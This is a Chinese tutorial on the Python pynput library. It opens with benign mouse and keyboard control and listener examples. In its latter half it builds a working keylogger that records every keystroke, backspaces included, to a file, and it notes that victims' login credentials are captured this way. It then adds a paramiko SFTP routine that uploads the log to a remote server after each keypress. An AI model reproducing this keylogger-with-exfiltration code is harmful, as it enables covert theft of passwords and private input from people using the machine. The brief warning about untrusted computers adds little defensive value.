控制及监听鼠标
#测试pynput第三方库
#控制鼠标
import time
from pynput.mouse import Button,Controller #导入控制鼠标模块
#创建控制器对象
mouse = Controller()
'''
#position属性返回一个元组(指针位置)
#time.sleep(2)
print("当前指针位置:{}".format(mouse.position))
#设置指针位置(元组)
mouse.position = (60,60)
#将鼠标从当前位置移动,俩个参数dx(水平偏移量)、dy(垂直偏移量)
mouse.move(600,600)
mouse.move(50,-50)
print("当前S指针位置:{}".format(mouse.position))
#由Button模块控制鼠标左右键,中键滚动
#按下左键并释放左键
#time.sleep(2)
mouse.press(Button.left)
mouse.release(Button.left)
#双击左键
mouse.click(Button.left,2) # 两个参数第一个参数为Button(鼠标的按键)第二个参数为int类型(点击的次数)
#向上滚动俩步
mouse.scroll(0,2)
time.sleep(2)
#向右上方滚动一步
mouse.scroll(1,1)#分别是控制水平和垂直方向 正数是向右向上 反之向右向下
'''
from pynput.mouse import Listener,Button #导入监听鼠标模块
#监听鼠标包括移动事件、鼠标按键、滚轮事件、
def on_move(x,y):
#on_move(x,y)是鼠标移动时回调的函数两个参数x,y描述的是鼠标的位置
#print('鼠标移动到的位置{0}'.format((x,y)))
pass
def on_click(x,y,button,pressed):
# 四个参数x,y,button,pressed。
# x,y描述的是鼠标点击的位置
# button是鼠标的按键,值有三种Button.left(左键)、Button.right(右键)、Button.middle(中键)
# 注意鼠标button使用按下一次会有两次反馈(按下和松开)。想要使用一次可以把一个if pressed:语句放在它的外层
# pressed的值是bool类型是鼠标按键的按下时是True,松开时为False。
if button == Button.left:
print('{0}位置{1}'.format('鼠标左键按下'if pressed else '鼠标左键松开',(x, y)))
elif button == Button.right:
print('{0}位置{1}'.format('鼠标右键按下'if pressed else '鼠标右键松开',(x, y)))
elif button == Button.middle: # 停止监听
return False
def on_scroll(x,y,dx,dy):
# 滑轮滚动事件
# x,y指针位置
# dx,dy滚轮的动作方向
print('当前指针位置 {0}'.format((x, y)))
i = ''
if dx<0:
i = '左'
elif dx>0:
i = '右'
else:
i = ''
print("滚动方向:{}{}".format(i,'下'if dy<0 else '上'))
#收集事件,直到停止(监听)
with Listener(on_move=on_move,on_click=on_click,on_scroll=on_scroll) as listener:
listener.join()
控制及监听键盘
#控制键盘 按压释放、键入字符串、按下组合键
'''
from pynput.keyboard import Key,Controller
#注意这里Key中的k要大写
keyboard = Controller()
#按压和释放空格
keyboard.press(Key.space)
keyboard.release(Key.space)
#按压键盘中的a键
keyboard.press('a')
keyboard.release('a')
#键入 hellow world
keyboard.type('hellow world')
#在按下ctrl的同时按下a
with keyboard.pressed(Key.ctrl):
keyboard.press('a')
keyboard.release('a')
'''
#监控键盘
from pynput.keyboard import Key,Listener
#按下键盘
def on_press(key):
print("按下{}".format(key))
#松开键盘
def on_release(key):
print("松开{}".format(key))
if key == Key.esc:
#esc键退出监听
return False
with Listener(on_press=on_press,on_release=on_release) as Listener:
Listener.join()
简单实现记录键盘
#监控键盘
from pynput.keyboard import Key,Listener
#按下键盘
def on_press(key):
pass
#松开键盘
def on_release(key):
flag = str(key).replace("'","")
print(flag)
with open('D:\\key.txt','a') as f:
f.write(flag+'\n')
with Listener(on_press=on_press,on_release=on_release) as Listener:
Listener.join()
在脚本运行状态下,用户的登录信息都将被记录。
由此得出结论:陌生WiFI不要随便连,陌生电脑不要随便用。。。
由于删除账号密码时可以长按Backspace删除多个字符,因在按下键盘时加以操作,改进如下:
from upload import upload
#监控键盘
from pynput.keyboard import Key,Listener
#按下键盘
def on_press(key):
string1 = str(key).replace("'",'')
if string1 == 'Key.backspace':
print('del')
with open('D:\\key.txt','a') as f:
f.write('del'+'\n')
#松开键盘
def on_release(key):
flag = str(key).replace("'","")
print(flag)
with open('D:\\key.txt','a') as f:
f.write(flag+'\n')
upload()
with Listener(on_press=on_press,on_release=on_release) as Listener:
Listener.join()
#相当于开启了一个线程,因为Listener这个类继承自threading.Thread。
#所以我们调用listener.join()相当于就阻塞在这里了
并使用paramiko模块实现上传文件至服务器
import time
def upload():
#延时5s上传一次
#print('qwe')
#time.sleep(5)
import paramiko
#实例化SSHClient
client = paramiko.SSHClient()
#自动添加策略,保存服务器的主机名和秘钥信息,如果不添加,那么不再本地Know_hosts文件中记录的主机将无法连接
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
#连接SSH服务器,以用户名和密码进行认证
client.connect(hostname='192.168.58.131',port='22',username='root',password='root')
# 利用SSHClient对象的open_sftp()方法,可以直接返回一个基于当前连接的sftp对象,可以进行文件的上传等操作.
sftp = client.open_sftp()
# 设置上传的本地/远程文件路径
localpath = "D://key.txt"
remotepath = "/home/tmp/1.txt"
# 执行上传动作
sftp.put(localpath, remotepath)
# 执行下载动作
#sftp.get(remotepath, localpath)
#关闭SSHClient
client.close()
20210412_174031.mov